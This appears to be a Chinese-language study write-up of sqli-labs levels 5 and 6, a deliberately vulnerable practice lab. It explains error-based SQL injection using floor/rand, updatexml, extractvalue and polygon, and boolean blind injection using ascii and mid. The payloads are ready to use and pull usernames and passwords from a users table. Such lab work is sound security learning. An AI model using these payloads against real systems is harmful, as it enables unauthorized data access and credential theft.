0%

sqli-labs5、6

  • 源码中有 print_f(mysql_error())

报错注入型

输入?id=1到17页面显示正常 大于18 页面显示异常,得出没有页面没有显示位,无法使用联合注入


尝试加单引号,出现sql语句报错,使用:报错注入。

floor

?id=1' and (select 1 from (select count(*),concat(((查询语句)),floor(rand()*2))x from information_schema.tables group by x)a)--+
可更改查询语句 获得其他数据,详细见双查询注入。

updatexml函数报错注入

语法:
updatexml(文档类型,xpath路径,更新的内容)
xpath路径写入其他格式就会报错,并返回我们写入的非法格式内容。
?id=1' and updatexml (1,concat(0x7c,(select database())),1)--+ **0x7c后面的逗号不能漏。这里id的值影响不大但是单引号不能漏,不然不会报错。

补充:

1
2
3
polygon函数替换updatexml

select polygon((select*from(select*from*(select@@version)f)x))

extractvalue函数报错注入

语法:
extractvalue(文档类型,xpath路径)
?id=1' and extractvalue(1,concat(0x7c,(查询语句))),

floor报错注入

?id=1' and (select 1 from (select count(*),concat((select concat(username,password) from users limit 0,1),floor(rand()*2))x from information_schema.tables group by x)a)--+

第六关,”闭合型报错,使用报错语句注入即可。

*** 补充一下报错获取用户账户和秘密的代码。
?id=1" and updatexml(1,concat(0x7c,(select username from users limit 0,1)),1)--+

如果直接要直接查找username,password 记得使用concat进行连接。
?id=1" and updatexml(1,concat(0x7c,(select concat(username,password)from users limit 0,1)),1)--+
但是结果也只能慢慢报出,所以一个个查也是可以的,因为长度过长。

对于报错注入长度限制:

我们可以使用函数substr、mid、substring进行截断:

1
?id=1" and updatexml(1,concat(0x7c,(select substr(concat(password),1,10)from 'users' limit 0,1),0x7c),1)#
  • 补充

布尔盲注

盲注函数ascii

它是通过ascii码表注入的
以第五关为例:?id=1' and ascii(substr(database(),1,1))=115--+有回显,猜对了!
不知道ascii表我们可以在MySQL中使用select char(115)查询字母,是通过查询语句后的数字调节查询位置的,可以通过大于号小于号加快查询。

函数mid

?id=1' and mid(database(),1,1)='s'--+回显正确
再猜第二个字符时,
?id=1' and mid(database(),2,1)='e'--+
第一个参数是字符位置,第二个参数是查询长度

总结:这两个函数比left好处是可以控制查询长度。

-------------本文结束感谢您的阅读-------------

欢迎关注我的其它发布渠道